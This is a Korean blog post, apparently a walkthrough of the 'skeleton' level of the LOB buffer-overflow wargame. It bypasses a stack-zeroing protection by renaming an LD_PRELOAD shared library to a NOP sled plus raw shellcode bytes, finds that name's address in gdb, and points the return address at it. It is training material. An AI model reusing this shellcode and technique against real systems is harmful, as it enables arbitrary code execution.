티스토리 뷰

포너블/LOB

LOB skeleton 풀이

삼전동해커 2020. 8. 30. 19:06

skeleton을 풀어보장.


시작하기 전에 꼭 bash2로 쉘을 바꿔주자.



이번 문제를 보면



stack destroyer가 추가되었다.

memset으로 buffer의 시작부터 44개를 0으로 만들고,

buffer+48부터 0xbfffffff까지 모두 0으로 만들어버리는 무시무시한 방법이다.

이럼 우리는 argv는 손도 댈수 없다.

이럴 땐 어떻게 해야할까...

buffer보다 낮은 주소공간을 이용해야 한다.


여기서부터는 베이스지식이 필요하다.

바로 LD_PRELOAD 환경변수이다.


간단히 설명하면

프로그램을 실행하면 같이 실행되는 환경변수이다.


기본적으로 들어있지 않지만 export로 설정해 줄수 있다.




이제 공유 라이브러리에 들어갈 파일을 만들어주자.


아무것도 없는 lib.c를 만들어준 후, so파일로 컴파일 해준다.



여기서 so파일이 공유 라이브러리 파일이다.

-shared : so파일로 컴파일하기 위해 필요한 옵션

-fPIC:so 파일의 속도개선을 위해 필요한 옵션. 없어도 된다.


이 파일이 공유되는지를 확인해보자.


간단한 출력 프로그램을 만들어준다.


컴파일 후 실행시킨다.


그리고 ldd tmp를 쳐보면



이렇게 공유되는 라이브러리가 뭐가 있는지 확인할 수 있다.

우리가 설정했던 lib.so도 같이 공유되는 걸 확인된다.



이 말은 파일을 실행시키면 공유된 라이브러리도 같이 실행된다는 것이다.

즉, 처음에 ftz를 풀때 환경변수를 이용하는 것과 비슷한 방법이다.


이 라이브러리의 위치는 어디일까? 확인해보자.


tmp에 golem을 옮기고,

gdb 실행 후, leave에 break문을 걸고, 실행을 시킨다.


그리고


x/10000s 0xbffff000의 위치부터 확인을 해보면


이쯤에서 위치가 나온다.

여기가 환경변수의 위치인 것 같다.


그럼 이름을 nop과shell코드로 구성해 보자.


mv lib.so `python -c 'print"\x90"*100+"\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81"'`


그리고 환경설정에 등록하자.

export LD_PRELOAD="/home/skeleton/`python ~~~~~~'`"


등록 후 ls명령어가 잘 작동하면 등록이 잘 된것이다.

안되면 뭔가 오류가 있으니 잘 설정하도록 하자.



이제 저 위치로 ret를 넣어 실행하니 안된다.

아무래도 스택의 위치가 바뀐것 같다.

진짜 위치를 찾으러가보자.


cp ~/golem test

로 원본을 하나 더 복사해 와서

gdb로 열어본다.


그리고 main시작에 break문을 걸고

x/1000x 0xbffff000위치부터 환경변수의 위치를 찾아본다.



이렇게 위치해 있다.

적당히 0xbffff780으로 ret를 잡아주면



성공.


진짜 어렵다.






'포너블 > LOB' 카테고리의 다른 글

LOB darkknight풀이  (0) 2020.09.08
LOB golem 풀이  (0) 2020.09.03
LOB vampire 풀이  (0) 2020.08.26
LOB troll 풀이  (0) 2020.08.25
LOB orge 풀이  (0) 2020.08.25
공지사항
최근에 올라온 글
최근에 달린 댓글
Total
Today
Yesterday
링크
«   2024/05   »
1 2 3 4
5 6 7 8 9 10 11
12 13 14 15 16 17 18
19 20 21 22 23 24 25
26 27 28 29 30 31
글 보관함